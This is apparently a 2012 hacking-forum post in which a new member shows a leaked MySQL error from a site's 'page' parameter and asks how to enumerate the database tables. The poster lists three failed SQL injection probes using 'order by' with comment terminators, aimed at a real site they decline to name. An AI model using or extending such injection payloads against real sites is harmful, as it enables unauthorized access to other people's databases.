25.03.2012, 08:37
|
|
Новичок
Регистрация: 29.09.2010
Сообщений: 21
Провел на форуме:
8271
Репутация:
0
|
|
http://site.com/about.php?page='
Сообщение от None
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-20, 20' at line 1[SELECT namemap.info_hash as hash, namemap.filename, namemap.url, namemap.poster, namemap.data, categories.name as cname, namemap.category as catid FROM namemap LEFT JOIN categories ON categories.id = namemap.category WHERE namemap.status=1 ORDER BY data DESC LIMIT -20, 20]
Is that sql vuln ?
Well, for now I don't want to post link over the internet, but can you help me a little to find the tables ? I tried so many of ways but can't get working method...
My tries:
Код:
http://site.com/about.php?page=')+order+by+13--+-
http://site.com/about.php?page='+order+by+13--+-
http://site.com/about.php?page=' order by 13
But there is no change...
Any ideas ?
BTW I'm sorry about the language, but if I use google translate, would be awful for all of us... |
|
|